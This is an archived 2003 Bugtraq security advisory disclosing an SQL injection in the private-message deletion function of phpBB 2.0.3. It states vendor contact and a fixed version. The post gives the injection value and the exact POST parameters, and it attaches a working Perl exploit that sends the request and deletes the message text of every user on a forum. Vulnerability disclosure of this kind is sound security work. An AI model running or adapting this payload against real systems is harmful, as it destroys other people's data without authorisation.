88296 2003-01-20  05:21  /76 rader/ Ulf Harnhammar <ulfh@update.uu.se>
Importerad: 2003-01-20  05:21  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3053>
Ärende: phpBB SQL Injection vulnerability
------------------------------------------------------------
phpBB SQL Injection vulnerability


PROGRAM: phpBB
VENDOR: phpBB Group
HOMEPAGE: http://www.phpbb.com/
VULNERABLE VERSIONS: 2.0.3, possibly others
IMMUNE VERSIONS: 2.0.4
LOGIN REQUIRED: yes


DESCRIPTION:

"phpBB is a UBB-style dissussion board written in PHP backended by a
MySQL database. It includes features such as posting/replying/editing
messages, private messages, private forums, user and anonymous
posting, robust theming, user ranking by posts or by special,
admin definable, ranks, and much more."

(direct quote from the program's project page at Freshmeat)

phpBB is published under the terms of the GNU General Public License.
It is a very popular program with lots of installations.


SUMMARY:

phpBB users can send private messages to each other. The program has
got a security hole, making it possible for a user to delete the text
of all private messages stored in the system.


TECHNICAL DETAILS:

The function for deleting private messages has got an SQL Injection
hole. If we submit data saying that we want to delete private
message number "1) OR 1=1 #", the text of all private messages for
all users on the system will be deleted.

The messages are stored in two tables, and the SQL Injection will
only work on one of them, so all the text bodies are deleted but the
subjects and metadata are only deleted if they belong to the current
user. This means that the subjects of the deleted messages will still
show up in the other users' folders. When a user clicks on a deleted
message, he or she will just be redirected back to the folder.

You can exploit this by POSTing the following values to
privmsg.php?folder=inbox&sid=[THE SID VALUE]:

  mode=""
  delete="true"
  mark[]="1) OR 1=1 #"
  confirm="Yes"

The current SID value is shown in the URL field, if you log in to
the system with cookies turned off.


COMMUNICATION WITH VENDOR:

The vendor was contacted on the 14th of January. Version 2.0.4 was
released on the 16th of January.


EXPLOIT:

I have attached a Perl exploit for this issue. It deletes the text
of all private messages. Before starting it, you have to log in
and get the SID value as described above.


// Ulf Harnhammar
   VSU Security
   ulfh@update.uu.se
(88296) /Ulf Harnhammar <ulfh@update.uu.se>/--------
Bilaga (application/x-perl) i text 88297
88297 2003-01-20  05:21  /40 rader/ Ulf Harnhammar <ulfh@update.uu.se>
Importerad: 2003-01-20  05:21  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <3054>
Bilaga (text/plain) till text 88296
Ärende: Bilaga till: phpBB SQL Injection vulnerability
------------------------------------------------------------
#!/usr/bin/perl --

# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003

use Socket;

if (@ARGV != 2) { die "usage: $0 host sid\n"; }

($host, $sid) = @ARGV;
$host =~ s|\s+||g;
$sid =~ s|\s+||g;

$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
        "Host: $host$crlf".
        "User-Agent: Mozzarella/1.37++$crlf".
        "Referer: http://www.phpbb.com/$crlf".
        "Connection: close$crlf".
        "Content-Type: application/x-www-form-urlencoded$crlf".
        "Content-Length: 58$crlf$crlf".
        "mode=&delete=true&mark%5B%5D=1%29+OR+1%3D1+%23&confirm=Yes";

$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";
$hosti = inet_aton($host) or die "Couldn't look up host!\n";
$hosts = sockaddr_in(80, $hosti);

socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";
connect(SOK, $hosts) or die "Couldn't connect to port!\n";

select SOK; $| = 1; select STDOUT;

print SOK $http;

$junk = '';
while (<SOK>) { $junk .= $_; }

close SOK or die "Couldn't close!\n";
(88297) /Ulf Harnhammar <ulfh@update.uu.se>/--------